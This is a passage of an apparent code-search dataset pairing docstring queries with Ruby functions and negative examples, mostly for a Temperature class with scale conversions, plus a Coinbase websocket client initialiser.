"def raiseTemp(degrees)\r\n if degrees >= 0.0\r\n return Temperature.new(@myDegree + degrees, @myScale)\r\n \r\n else\r\n puts \"Please enter a degree greater than 0 to raise the temperature by!\"\r\n return self\r\n end\r\n end",
"def raiseTemperature(degrees)\n if isValidTemperature((self.myDegree + degrees), @myScale)\n return Temperature.new((@myDegree + degrees), @myScale)\n else\n puts \"Could not raise temperature\"\n end #if\n end",
"def raiseTemp(degrees)\n if degrees >= 0.0\n return Temperature.new(@myDegree + degrees, @myScale)\n \n else\n puts \"Please enter a degree greater than 0 to raise the temperature by!\"\n return self\n end\n end",
"def toCelsius()\n case @myScale\n when 'F', 'f'\n newDeg = (5.0/9.0) * (@myDegree - 32.0)\n return Temperature.new(newDeg, 'C')\n when 'C', 'c'\n # Already in Celsius\n return self\n when 'K', 'k'\n newDeg = @myDegree - 273.15\n return Temperature.new(newDeg, 'C')\n else\n puts \"Invalid temperature scale [toC]\"\n return false\n end #case\n end",
"def getFahrenheit()\r\n if scale =~ /f/ then\r\n Temperature.new(@degrees, @scale)\r\n elsif scale =~ /c/ then\r\n Temperature.new(@degrees * (9.0/5) + 32, \"f\")\r\n else\r\n Temperature.new((@degrees + 273.15) * (9.0/5) + 32, \"f\")\r\n end\r\n end",
"def getFahrenheit()\n if scale =~ /f/ then\n Temperature.new(@degrees, @scale)\n elsif scale =~ /c/ then\n Temperature.new(@degrees * (9.0/5) + 32, \"f\")\n else\n Temperature.new((@degrees + 273.15) * (9.0/5) + 32, \"f\")\n end\n end",
"def temperature\n Temperature.new(degrees)\n end",
"def convert_temp temperature, input_scale:, output_scale: 'celsius'\n temperature = temperature.to_f\n case input_scale\n when \"celsius\"\n return case output_scale\n when \"celsius\"\n temperature\n when \"fahrenheit\"\n (temperature * 9 / 5) + 32\n when \"kelvin\"\n temperature + 273.15\n end\n when \"fahrenheit\"\n return case output_scale\n when \"celsius\"\n (temperature - 32) * 5 / 9\n when \"fahrenheit\"\n temperature\n when \"kelvin\"\n (temperature - 32) * 5 / 9 + 273.15\n end\n when \"kelvin\"\n return case output_scale\n when \"celsius\"\n temperature - 273.15\n when \"fahrenheit\"\n (temperature - 273.15) * 9 / 5 + 32\n when \"kelvin\"\n temperature\n end\n end\nend",
"def lowerTemperature(degrees)\n if isValidTemperature((@myDegrees - degrees), @myScale)\n return Temperature.new((@myDegree - degrees), @myScale)\n else\n puts \"Could not raise temperature\"\n end #if\n end",
"def readTemp()\n\n\t\tprint \"Please enter the degrees and scale: \"\n\t\tuser_input = gets\n\n\t\tnew_array = user_input.split(\" \")\n\n\t\tdegree_temp = new_array[0].to_f\n\t\ttemp_string = new_array[1]\n\n\t\tarray2 = temp_string.split()\n\n\t\tscale_temp = array2[0]\n\n\t\tif ( isValid(degree_temp, scale_temp) ) then\n\t\t\t@degree = degree_temp\n\t\t\t@scale = scale_temp\n\t\telse\n\t\t\tprint \"Invalid Temperature\"\n\t\tend\n\tend",
"def lower(degrees)\n if degrees >= 0.0\n if isValid(@myDegree - degrees, @myScale)\n newTemp = Temperature.new(@myDegree - degrees, @myScale)\n return newTemp\n else\n return self\n end\n else\n puts \"Please enter a degree greater than 0 to raise the temperature by!\"\n return self\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
raise() Input: delta, a float Returns: new Temperature with risen degrees | def raise(delta)
Temperature.new(@degrees + delta, @scale)
end | [
"def raise(delta)\n Temperature.new(@degrees + delta, @scale)\n end",
"def lower(delta)\r\n Temperature.new(@degrees - delta, @scale)\r\n end",
"def lower(delta)\n Temperature.new(@degrees - delta, @scale)\n end",
"def raiseTemp incr\n\t\t\tTemperature.new(@degrees + incr, @scale)\n\t\tend",
"def temperatureFromResistance(r, rref)\n (a1, b1, c1, d1) = [ 3.354016E-03, 2.569850E-04, 2.620131E-06, 6.383091E-08 ]\n logRatio = Math.log(r/rref)\n tempK = 1.0/(a1 + (b1 * logRatio) + (c1 * logRatio ** 2.0) + (d1 * logRatio ** 3.0))\n tempC = tempK - 273.15\n tempF = (9.0 * tempC / 5.0) + 32\nend",
"def lower(step)\n\t\tnewTemp = Temperature.new(degrees.to_f - step, scale)\n\tend",
"def lowerTemp incr\n\t\t\tTemperature.new(@degrees - incr, @scale)\n\t\tend",
"def raise_temp(degree)\r\n @degrees = @degrees + degree\r\n end",
"def raise_temp(degree)\n @degrees = @degrees + degree\n end",
"def raiseTemp(degrees)\r\n if degrees >= 0.0\r\n return Temperature.new(@myDegree + degrees, @myScale)\r\n \r\n else\r\n puts \"Please enter a degree greater than 0 to raise the temperature by!\"\r\n return self\r\n end\r\n end",
"def raiseTemperature(degrees)\n if isValidTemperature((self.myDegree + degrees), @myScale)\n return Temperature.new((@myDegree + degrees), @myScale)\n else\n puts \"Could not raise temperature\"\n end #if\n end",
"def temperature\n Temperature.new(degrees)\n end",
"def raise(amount)\n return Temperature.new(@value + amount, scale)\n end",
"def kelvin_to_fahrenheit(temp)\n 1.8 * (temp - 273) + 32\n end",
"def raiseTemp(degrees)\n if degrees >= 0.0\n return Temperature.new(@myDegree + degrees, @myScale)\n \n else\n puts \"Please enter a degree greater than 0 to raise the temperature by!\"\n return self\n end\n end",
"def raiseTemp( step ) \n if step < 0.0 then lowerTemp( -1.0 * step )\n else\n @value += step\n end \n self\n end",
"def increase_temp\n puts \"It's only #{current_temp} degrees! Let's turn on the heater!\".yellow\n if (target - current_temp) >= 5\n adjust_up(5)#will adjust by 5 if the diff is greater than 5\n else\n adjust_up(1)#if diff is less than 5, will only adjust by 1 till it reaches target\n end\n calibrate_temp #Calibrate the temp at the end to see if it's right.\n end",
"def lowerTemperature(degrees)\n if isValidTemperature((@myDegrees - degrees), @myScale)\n return Temperature.new((@myDegree - degrees), @myScale)\n else\n puts \"Could not raise temperature\"\n end #if\n end",
"def raise(t, a)\r\n d = Temperature.new(t.degrees+a, t.scale)\r\n return d\r\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
lower() Input: delta, a float Returns: new Temperature with delta degrees less or exception if new temperature is lower than 0 K | def lower(delta)
Temperature.new(@degrees - delta, @scale)
end | [
"def lower(delta)\n Temperature.new(@degrees - delta, @scale)\n end",
"def lower(step)\n\t\tnewTemp = Temperature.new(degrees.to_f - step, scale)\n\tend",
"def lowerTemp incr\n\t\t\tTemperature.new(@degrees - incr, @scale)\n\t\tend",
"def lower(amount)\n return Temperature.new(@value - amount, scale)\n end",
"def lower(t, a)\r\n d = Temperature.new(t.degrees-a, t.scale)\r\n return d\r\n end",
"def raise(delta)\r\n Temperature.new(@degrees + delta, @scale)\r\n end",
"def lower(t, a)\n d = Temperature.new(t.degrees-a, t.scale)\n return d\n end",
"def raise(delta)\n Temperature.new(@degrees + delta, @scale)\n end",
"def lowerTemperature(degrees)\n if isValidTemperature((@myDegrees - degrees), @myScale)\n return Temperature.new((@myDegree - degrees), @myScale)\n else\n puts \"Could not raise temperature\"\n end #if\n end",
"def lowerTemp( step )\n if step < 0.0 then raiseTemp( -1.0 * step )\n else\n val = @value - step\n if isValid( val, @unit ) then\n @value = val\n end \n end \n self\n end",
"def lower(degrees)\r\n if degrees >= 0.0\r\n if isValid(@myDegree - degrees, @myScale)\r\n newTemp = Temperature.new(@myDegree - degrees, @myScale)\r\n return newTemp\r\n else\r\n return self\r\n end\r\n else\r\n puts \"Please enter a degree greater than 0 to raise the temperature by!\"\r\n return self\r\n end\r\n end",
"def lower(degrees)\n if degrees >= 0.0\n if isValid(@myDegree - degrees, @myScale)\n newTemp = Temperature.new(@myDegree - degrees, @myScale)\n return newTemp\n else\n return self\n end\n else\n puts \"Please enter a degree greater than 0 to raise the temperature by!\"\n return self\n end\n end",
"def lower(attribute, delta, min)\n current_value = self.send attribute\n if min > current_value \n # Skip if the current value is less than the min value provided\n current_value\n else\n target_value = current_value - delta.abs\n if target_value < min\n # If the projected value is less than min, set the new value to min\n target_value = min\n end\n # Makes a call setting the attribute\n # e.g. sexAppeal=10\n self.send(\"#{attribute}=\", target_value)\n end\n end",
"def lessThan otherTemp\n\t\t \tcase @scale\n\t\t\t\twhen 'C'\n\t\t\t\t\t@degrees < otherTemp.toCelsius().degrees\n\t\t\t\twhen 'F'\n\t\t\t\t\t@degrees < otherTemp.toFahrenheit().degrees\n\t\t\t\twhen 'K'\n\t\t\t\t\t@degrees < otherTemp.toKelvin().degrees\n\t\t\tend\n\t\tend",
"def net_lower_tonnage\n (@lower_tonnage.to_f - @water_tonnage.to_f) unless @lower_tonnage.to_f.zero?\n end",
"def too_low? temp # check if temp is below absolute zero\n temp < 0\nend",
"def low_limit\n exact_value - delta_amount\n end",
"def toKelvin()\n case @myScale\n when 'F', 'f'\n newDeg = ((@myDegree - 32) * (5.0 / 9.0)) + 273.15\n return Temperature.new(newDeg, 'K')\n when 'C', 'c'\n newDeg = @myDegree + 273.15\n return Temperature.new(newDeg, 'K')\n when 'K', 'k'\n # Already in Kevlin\n return self\n else\n puts \"Invalid temperature [toK]\"\n return false\n end #case\n end",
"def delta_min; end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
getFahrenheit() returns Fahrenheit temperature Input: none Returns: new Temperature with same temperature in new scale | def getFahrenheit()
if scale =~ /f/ then
Temperature.new(@degrees, @scale)
elsif scale =~ /c/ then
Temperature.new(@degrees * (9.0/5) + 32, "f")
else
Temperature.new((@degrees + 273.15) * (9.0/5) + 32, "f")
end
end | [
"def getFahrenheit()\n if scale =~ /f/ then\n Temperature.new(@degrees, @scale)\n elsif scale =~ /c/ then\n Temperature.new(@degrees * (9.0/5) + 32, \"f\")\n else\n Temperature.new((@degrees + 273.15) * (9.0/5) + 32, \"f\")\n end\n end",
"def toFahrenheit()\n case @myScale\n when 'F', 'f'\n # Already in Fahrenheit\n return self\n when 'C', 'c'\n newDeg = ((9.0/5.0) * @myDegree) + 32.0\n return Temperature.new(newDeg, 'F')\n when 'K', 'k'\n newDeg = ((@myDegree - 273.15) * (9.0/5.0)) + 32.0\n return Temperature.new(newDeg, 'F')\n else\n puts \"Invalid temperature scale [toF]\"\n return false\n end #case\n end",
"def celsius_to_fahrenheit(temp)\n temp.to_f * 9/5 + 32\nend",
"def in_fahrenheit\n if @type == :f\n @temp\n else\n ((@temp.to_f * 9.0)/5.0) + 32.0\n end\n end",
"def convert_fahrenheit_to_celsius(temperature=0)\n (temperature - 32) * (5.0 / 9)\nend",
"def in_fahrenheit()\n\t\treturn @opts[:f] if @opts[:f] != nil\n\t\tTemperature.ctof(@opts[:c])\n\tend",
"def kelvin_to_fahrenheit(temp)\n temp.to_f * 9/5 - 459.67\nend",
"def kelvin_to_fahrenheit(temp)\n 1.8 * (temp - 273) + 32\n end",
"def convert_fahrenheit_to_celsius (temperaturef)\n tempc = ((temperaturef.to_i - 32) * 5/9)\n puts \"The temperature in celsius is #{tempc}\"\n end",
"def update_fahrenheit(c)\n return unless @fahrenheit\n difference = Data::Temperature.c_to_f(c.to_f) - @fahrenheit\n # only clear fahrenheit if the stored fahrenheit is off be more then 1 degree\n # then the conversion of celsius\n @fahrenheit = nil unless difference.abs <= 1.0\n end",
"def celcius_to_farenheit(temp_of_boil)\n\t1.8 * temp_of_boil + 32\nend",
"def celscius_to_farenheit(temp_of_boil)\n\t1.8 * temp_of_boil + 32\nend",
"def fahrenheit_conversion (f)\n celsius = (f -32) / (5/9)\n puts celsius\nend",
"def fahrenheit_to_kelvin(temp)\n (temp.to_f + 459.67) * 5/9\nend",
"def fahrenheit_to_celsius(temperature_in_fahr)\n # function/method to return degrees celcius when given fahrenheit, assumes numeric, need clarification of accuracy required\n temp_in_celcius = ((5.0/9.0) * (temperature_in_fahr - 32.0)).round(1)\nend",
"def convert_to_celsius(fahrenheit)\n celsius = (5*(fahrenheit.to_f - 32))/9\n return celsius\nend",
"def in_fahrenheit\n\n # converts to fahrenheit if celsius passed in\n\t\t@celsius ? ctof : @fahrenheit\n\n\tend",
"def getInF()\r\n if @myScale == 'F' or @myScale == 'f'\r\n return self\r\n else\r\n degreeF = 0.0\r\n if @myScale == 'C' or @myScale == 'c'\r\n degreeF = ((9.0/5.0) * @myDegree) + 32.0\r\n else\r\n degreeF = (@myDegree - 273.15) * (9.0/5.0) + 32.0\r\n end\r\n myTemp = Temperature.new(degreeF, 'F')\r\n return myTemp\r\n end\r\n end",
"def getInF()\n if @myScale == 'F' or @myScale == 'f'\n return self\n else\n degreeF = 0.0\n if @myScale == 'C' or @myScale == 'c'\n degreeF = ((9.0/5.0) * @myDegree) + 32.0\n else\n degreeF = (@myDegree - 273.15) * (9.0/5.0) + 32.0\n end\n myTemp = Temperature.new(degreeF, 'F')\n return myTemp\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
getCelsius() returns Celsius temperature Input: none Returns: new Temperature with same temperature in new scale | def getCelsius()
if scale =~ /f/ then
Temperature.new((@degrees-32)*(5.0/9), "c")
elsif scale =~ /c/ then
Temperature.new(@degrees, @scale)
else
Temperature.new(@degrees - 273.15, "c")
end
end | [
"def getCelsius()\n if scale =~ /f/ then\n Temperature.new((@degrees-32)*(5.0/9), \"c\")\n elsif scale =~ /c/ then\n Temperature.new(@degrees, @scale)\n else\n Temperature.new(@degrees - 273.15, \"c\")\n end\n end",
"def toCelsius()\n case @myScale\n when 'F', 'f'\n newDeg = (5.0/9.0) * (@myDegree - 32.0)\n return Temperature.new(newDeg, 'C')\n when 'C', 'c'\n # Already in Celsius\n return self\n when 'K', 'k'\n newDeg = @myDegree - 273.15\n return Temperature.new(newDeg, 'C')\n else\n puts \"Invalid temperature scale [toC]\"\n return false\n end #case\n end",
"def toCelsius\n\t\t\tcase @scale\n\t\t\t\twhen 'C'\n\t\t\t\t\tTemperature.new(@degrees, 'C')\n\t\t\t\twhen 'F'\n\t\t\t\t\tTemperature.new((@degrees - 32.0) * 5.0 / 9.0, 'C')\n\t\t\t\twhen 'K'\n\t\t\t\t\tTemperature.new(@degrees - 273.15, 'C')\n\t\t\tend\n\t\tend",
"def toCelsius(tempF)\n tempC = (tempF-32) * 5 / 9\n tempC\n end",
"def getInC()\n if @myScale == 'C' or @myScale == 'c'\n return self\n else\n degreeC = 0.0\n if @myScale == 'F' or @myScale == 'f'\n degreeC = (5.0/9.0) * (@myDegree - 32.0)\n else\n degreeC = @myDegree - 273.15;\n end\n myTemp = Temperature.new(degreeC, 'C')\n return myTemp\n end\n end",
"def getInC()\r\n if @myScale == 'C' or @myScale == 'c'\r\n return self\r\n else\r\n degreeC = 0.0\r\n if @myScale == 'F' or @myScale == 'f'\r\n degreeC = (5.0/9.0) * (@myDegree - 32.0)\r\n else\r\n degreeC = @myDegree - 273.15;\r\n end\r\n myTemp = Temperature.new(degreeC, 'C')\r\n return myTemp\r\n end\r\n end",
"def setCelsius()\n\t\tif ( @scale == 'K' or @scale == 'k' ) then\n\t\t\t@degree = (@degree - 273.15)\n\t\t\t@scale = 'C'\n\t\telsif ( @scale == 'F' or @scale == 'f' ) then\n\t\t\t@degree = ((@degree - 32.0) * (5.0/9.0))\n\t\t\t@scale = 'C'\n\t\tend\n\tend",
"def convertCelsius\r\n case self.myScale\r\n when 'K'\r\n self.myDegrees = (self.myDegrees - 273.15)\r\n self.myScale = 'C'\r\n when 'F'\r\n self.myDegrees = ((self.myDegrees - 32.0) * (5.0/9.0))\r\n self.myScale = 'C'\r\n end\r\n end",
"def convertCelsius\n case self.myScale\n when 'K'\n self.myDegrees = (self.myDegrees - 273.15)\n self.myScale = 'C'\n when 'F'\n self.myDegrees = ((self.myDegrees - 32.0) * (5.0/9.0))\n self.myScale = 'C'\n end\n end",
"def convert_kelvin_to_celcius(temp_in_kelvin)\n return (temp_in_kelvin.to_f - 273.15)\nend",
"def convert_fahrenheit_to_celsius(temperature=0)\n (temperature - 32) * (5.0 / 9)\nend",
"def fahrenheit_to_celsius(temperature_in_fahr)\n # function/method to return degrees celcius when given fahrenheit, assumes numeric, need clarification of accuracy required\n temp_in_celcius = ((5.0/9.0) * (temperature_in_fahr - 32.0)).round(1)\nend",
"def farenheit_to_celsius(temp_f)\n celcius = ((temp_f - 32.0) * 5.0)/9.0\n return celcius.round(2)\nend",
"def convert_fahrenheit_to_celsius (temperaturef)\n tempc = ((temperaturef.to_i - 32) * 5/9)\n puts \"The temperature in celsius is #{tempc}\"\n end",
"def in_celsius\n if @type == :c\n @temp\n else\n (@temp.to_f - 32.0) * (5.0/9.0)\n end\n end",
"def temperature(scale=:c)\n send_command(COMMANDS[:temperature])\n temp = read_result\n\n if temp.nil?\n return nil\n else\n converted_temp = -39.65 + (0.01 * temp)\n if scale == :f\n return celcius_to_fahrenheit(converted_temp)\n else\n return converted_temp\n end\n end\n end",
"def convert_to_celcius(temp)\n\t (temp - 32) * 5/9\nend",
"def celsiusString\n @temp.to_s + \" degrees C\"\n end",
"def convert_to_celsius(fahrenheit)\n celsius = (5*(fahrenheit.to_f - 32))/9\n return celsius\nend"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
getKelvin() returns Kelvin temperature Input: none Returns: new Temperature with same temperature in new scale | def getKelvin()
if scale =~ /f/ then
Temperature.new((@degrees-32)*(5.0/9)+273.15, "k")
elsif scale =~ /c/ then
Temperature.new(@degrees + 273.15, "k")
else
Temperature.new(@degrees, @scale)
end
end | [
"def getKelvin()\n if scale =~ /f/ then\n Temperature.new((@degrees-32)*(5.0/9)+273.15, \"k\")\n elsif scale =~ /c/ then\n Temperature.new(@degrees + 273.15, \"k\")\n else\n Temperature.new(@degrees, @scale) \n end\n end",
"def toKelvin()\n case @myScale\n when 'F', 'f'\n newDeg = ((@myDegree - 32) * (5.0 / 9.0)) + 273.15\n return Temperature.new(newDeg, 'K')\n when 'C', 'c'\n newDeg = @myDegree + 273.15\n return Temperature.new(newDeg, 'K')\n when 'K', 'k'\n # Already in Kevlin\n return self\n else\n puts \"Invalid temperature [toK]\"\n return false\n end #case\n end",
"def toKelvin\n\t\t \tcase @scale\n\t\t\t\twhen 'C'\n\t\t\t\t\tTemperature.new(@degrees + 273.15, 'K')\n\t\t\t\twhen 'F'\n\t\t\t\t\tTemperature.new((@degrees + 459.67) * 5.0 / 9.0, 'K')\n\t\t\t\twhen 'K'\n\t\t\t\t\tTemperature.new(@degrees, 'K')\n\t\t\tend\n\t\tend",
"def getInK()\r\n if @myScale == 'K' or @myScale == 'k'\r\n return self\r\n else\r\n degreeK = 0.0\r\n if @myScale == 'F' or @myScale == 'f'\r\n degreeK = (5.0/9.0) * (@myDegree + 459.67);\r\n else\r\n degreeK = @myDegree + 273.15;\r\n end\r\n myTemp = Temperature.new(degreeK, 'K')\r\n return myTemp\r\n end\r\n end",
"def getInK()\n if @myScale == 'K' or @myScale == 'k'\n return self\n else\n degreeK = 0.0\n if @myScale == 'F' or @myScale == 'f'\n degreeK = (5.0/9.0) * (@myDegree + 459.67);\n else\n degreeK = @myDegree + 273.15;\n end\n myTemp = Temperature.new(degreeK, 'K')\n return myTemp\n end\n end",
"def setKelvin()\r\n\t\tif ( @scale == 'F' or @scale == 'f' ) then\r\n\t\t\t@degree = ((@degree + 459.67) * (5.0/9.0))\r\n\t\t\t@scale = 'K'\r\n\t\telsif ( @scale == 'C' or @scale == 'c' ) then\r\n\t\t\t@degree = (@degree + 273.15)\r\n\t\t\t@scale = 'K'\r\n\t\tend\r\n\tend",
"def setKelvin()\n\t\tif ( @scale == 'F' or @scale == 'f' ) then\n\t\t\t@degree = ((@degree + 459.67) * (5.0/9.0))\n\t\t\t@scale = 'K'\n\t\telsif ( @scale == 'C' or @scale == 'c' ) then\n\t\t\t@degree = (@degree + 273.15)\n\t\t\t@scale = 'K'\n\t\tend\n\tend",
"def convert_kelvin_to_celcius(temp_in_kelvin)\n return (temp_in_kelvin.to_f - 273.15)\nend",
"def fahrenheit_to_kelvin(temp)\n (temp.to_f + 459.67) * 5/9\nend",
"def kelvin_to_fahrenheit(temp)\n 1.8 * (temp - 273) + 32\n end",
"def kelvin_to_fahrenheit(temp)\n temp.to_f * 9/5 - 459.67\nend",
"def in_celsius\n if @type == :c\n @temp\n else\n (@temp.to_f - 32.0) * (5.0/9.0)\n end\n end",
"def to_kelvin(degrees)\n degrees.to_f - ABSOLUTE_ZERO\n end",
"def with_kelvin(kelvin)\n Color.new(hue, saturation, brightness, kelvin)\n end",
"def convert_fahrenheit_to_celsius(temperature=0)\n (temperature - 32) * (5.0 / 9)\nend",
"def convert_temp temperature, input_scale:, output_scale: 'celsius'\n temperature = temperature.to_f\n case input_scale\n when \"celsius\"\n return case output_scale\n when \"celsius\"\n temperature\n when \"fahrenheit\"\n (temperature * 9 / 5) + 32\n when \"kelvin\"\n temperature + 273.15\n end\n when \"fahrenheit\"\n return case output_scale\n when \"celsius\"\n (temperature - 32) * 5 / 9\n when \"fahrenheit\"\n temperature\n when \"kelvin\"\n (temperature - 32) * 5 / 9 + 273.15\n end\n when \"kelvin\"\n return case output_scale\n when \"celsius\"\n temperature - 273.15\n when \"fahrenheit\"\n (temperature - 273.15) * 9 / 5 + 32\n when \"kelvin\"\n temperature\n end\n end\nend",
"def to_km\n self / 100000.0\n end",
"def convert_temp(temperature, input_scale: \"celsius\", output_scale: \"celsius\")\n return temperature if input_scale == output_scale\n new_temp = temperature \n new_temp = (temperature - 32) * 5.0 / 9.0 if input_scale == \"fahrenheit\"\n new_temp = temperature - 273.15 if input_scale == \"kelvin\"\n new_temp += 273.15 if output_scale == \"kelvin\"\n new_temp = new_temp * 9.0 / 5.0 + 32 if output_scale == \"fahrenheit\"\n return new_temp\n end",
"def valorenergeticoKcal\n veKJ=(cgrasas * 9) + (cgrasassa * 9) + (grasasmono * 9) + (grasaspoli * 9) + (hcarbono * 4) + (polialcoholes * 2.4) + (almidon * 4) + (fibra * 2) + (proteinas * 4) + (sal * 6)\n veKJ.round(2)\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
to_s() allows for pretty printing of object Input: none Returns: formatted String with degrees and scale | def to_s
"#{@degrees.round(2)} #{@scale}"
end | [
"def to_s\n \"#{@degrees.round(2)} #{@scale}\"\n end",
"def to_s\n \"#{@x} #{@y} #{@orientation}\"\n end",
"def to_s(target_units=nil)\n out = @output[target_units]\n if out\n return out\n else\n case target_units\n when :ft\n inches = self.to(\"in\").scalar.to_int\n out = \"#{(inches / 12).truncate}\\'#{(inches % 12).round}\\\"\"\n when :lbs\n ounces = self.to(\"oz\").scalar.to_int\n out = \"#{(ounces / 16).truncate} lbs, #{(ounces % 16).round} oz\"\n when String\n out = case target_units\n when /(%[\\-+\\.\\w#]+)\\s*(.+)*/ #format string like '%0.2f in'\n begin\n if $2 #unit specified, need to convert\n self.to($2).to_s($1)\n else \n \"#{$1 % @scalar} #{$2 || self.units}\".strip\n end\n rescue\n (DateTime.new(0) + self).strftime(target_units) \n end\n when /(\\S+)/ #unit only 'mm' or '1/mm'\n \"#{self.to($1).to_s}\"\n else\n raise \"unhandled case\"\n end\n else\n out = case @scalar\n when Rational\n \"#{@scalar} #{self.units}\"\n else\n \"#{'%g' % @scalar} #{self.units}\"\n end.strip\n end\n @output[target_units] = out\n return out\n end \n end",
"def to_s\n \"radius: #{radius}, thetas: #{thetas}, coordinates: #{coordinates}\"\n end",
"def to_s( opts = nil )\n\t\t\tpretty( opts )\n\t\tend",
"def to_s(*) end",
"def to_s(io = nil)\n \tif io \n __io_append(io,@numerator, DIV_ID, @denominator) \n else\n return \"#{@numerator}/#{@denominator}\"\n end\n io\n end",
"def to_s; \"#{@len}.#{@scale}\" end",
"def to_s(fmt = nil)\n if fmt\n # needs work to include distance as well as angle fmt.\n return \"#{@bearing.strf(fmt)} #{distance.round(4)}m\"\n else\n return \"#{@bearing.strf} #{distance.round(4)}m\"\n end\n end",
"def to_s\r\n @key.to_s + \"|\" + self.get_median.to_i.to_s + \"|\" + @num.to_s + \"|\" + @total.to_i.to_s + \"\\n\"\r\n end",
"def to_s( options = {} )\n options = self.class.options.merge( options )\n units_error( options[ :units ] ) if not self.class::CONVERSIONS.has_key?( options[ :units ] )\n value_in_units = self.send(\"to_#{ options[:units] }\")\n localized_value = I18n.localize_float(value_in_units, {:format => \"%0.#{ options[:precision] }f\"})\n\n key = 'units.' + self.class.measurement_name + '.' + options[:units].to_s\n options[:abbreviated] ? key += '.abbreviated' : key += '.full'\n unit = I18n.t(key, {:count => value_in_units})\n\n \"#{ localized_value }%s#{ unit }\" % (options[:abbreviated] ? '' : ' ')\n end",
"def to_s\n @fractal.reverse.map do |row|\n row.map{|char| \"%1s\" % char}.join(\"\")\n end.join(\"\\n\")\n end",
"def to_s\n \"[#{value}]/d#{sides}\"\n end",
"def to_s_format(format) \n @format = format.to_sym \n Note.output_format @format\n end",
"def to_s\n \"#{@lattitude},#{@longitude} #{@radius}\"\n end",
"def to_s\n \"#{@value.to_s} #{@unit.symbol}\"\n end",
"def to_pretty_s\n if self.is_valid?\n if @type == :magic\n \"#{@number}\"\n else\n \"#{area_code}-#{@number}\"\n end\n end\n end",
"def to_s\n \"#{ @lattitude },#{ @longitude } #{ @radius }\"\n end",
"def to_s(options={})\n Money::Formatter.format(self, options)\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
lessthan() shows inequality Input: other_object Returns: true if self is less than other | def lessthan(other_object)
if !(other_object.instance_of? Temperature) then
false
else
(self.getKelvin().degrees < other_object.getKelvin().degrees)
end
end | [
"def lessthan(other_object)\n if !(other_object.instance_of? Temperature) then\n false\n else\n (self.getKelvin().degrees < other_object.getKelvin().degrees)\n end\n end",
"def <=>(other)\n RubyPython::PyMain.cmp(self, other)\n end",
"def <(vector2)\n end",
"def <=>(other)\n sal<=>other.sal\n end",
"def <(other)\n return ArgumentError unless other.is_a?(Gaussian)\n mu < other.mu\n end",
"def <=>(other)\n return nil unless other.instance_of? Point\n @x**2 + @y**2 <=> other.x**2 + other.y**2\n end",
"def less_than?(x,y)\n y-x > relative_to(y)\n end",
"def <=>(other)\n\treturn 0 if self.to_f == other.to_f\n\treturn 1 if self.to_f > other.to_f\n\treturn -1 if self.to_f < other.to_f\n end",
"def <(other)\n price < other.price\n end",
"def <=>(another)\n another = self.class.wrap(another)\n hit = scopes.find{|s1| another.all?{|s2| s1 >= s2}}\n hit ? 1 : -1\n end",
"def <(other)\n other.is_a?(Vips::Image) ? \n relational(other, :less) : relational_const(other, :less)\n end",
"def >=(other)\n raise TypeError, 'compared with non class/module' unless other.is_a?(Module)\n return other < self\n end",
"def <=(rhs)\n Mao::Filter::Binary.new(:op => '<=', :lhs => self, :rhs => rhs)\n end",
"def <=>(other)\n loop do\n a, a_end = try_iter &:next\n b, b_end = other.try_iter &:next\n # shorter stream comes before longer (matching) stream\n result = if a_end\n if b_end\n 0 # equal\n else\n -1 # I am shorter\n end\n elsif b_end\n 1 # other is shorter\n else\n x = a <=> b\n x unless x == 0\n end\n next if result.nil?\n return result\n end\n end",
"def >(o); gt(o); end",
"def test_lt\n @@log.debug \"test_lt starts\" if @@log.debug?\n assert_respond_to(@abs, :<, \"test_lt_respond\")\n assert_equal(@abs < @jas, true)\n @@log.debug \"test_lt ends\" if @@log.debug?\n end",
"def > other\n cmp = self <=> other\n if cmp.nil?\n raise ArgumentError, \"comparison of #{self.class} with #{other.class} failed\"\n end\n cmp > 0\n end",
"def small_difference?(n1, n2)\n (n1-n2).abs < 1\n end",
"def lessThan(t1)\r\n return @degrees < t1.degrees\r\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Create a new RTCBX object with options and an optional block to be run when each message is called. Generally you won't call this directly. You'll use +RTCBX::Orderbook.new+, +RTCBX::Trader.new+, or +RTCBX::Candles.new+. You can also subclass RTCBX and call this method through +super+, as the classes mentioned above do. RTCBX handles connecting to the Websocket, setting up the client, and managing the thread that consumes the Websocket feed. | def initialize(options = {}, &block)
@product_id = options.fetch(:product_id, 'BTC-USD')
@start = options.fetch(:start, true)
@api_key = options.fetch(:api_key, '')
@api_secret = options.fetch(:api_secret, '')
@api_passphrase = options.fetch(:api_passphrase, '')
@message_callbacks = []
@message_callbacks << block if block_given?
@client = Coinbase::Exchange::Client.new(
api_key,
api_secret,
api_passphrase,
product_id: product_id
)
@websocket = Coinbase::Exchange::Websocket.new(
keepalive: true,
product_id: product_id
)
@queue = Queue.new
start! if start
end | [
"def initialize(product_id: \"BTC-USD\", start: true, &block)\n @product_id = product_id\n @bids = []\n @asks = []\n @snapshot_sequence = 0\n @last_sequence = 0\n @queue = Queue.new\n @websocket = Coinbase::Exchange::Websocket.new(keepalive: true, product_id: @product_id)\n @client = Coinbase::Exchange::Client.new('', '', '', product_id: @product_id)\n @on_message = block if block_given?\n start && start!\n end",
"def initialize(options)\n host = { :host => options[:host], :port => options[:port] }\n host[:passcode] = options[:password] if options[:password]\n host[:login] = options[:username] if options[:username]\n\n headers = {}\n unless options[:heartbeat] == false\n headers.merge!(\n :host => options[:host],\n :\"accept-version\" => \"1.2\",\n :\"heart-beat\" => \"2000,0\")\n end\n headers[:\"client-id\"] = options[:client_ref] if options[:client_ref]\n\n @stomp_client = ::Stomp::Client.new(:hosts => [host], :connect_headers => headers)\n end",
"def initialize(options, &block)\n super\n input_channel.register(self)\n @block = block if block\n end",
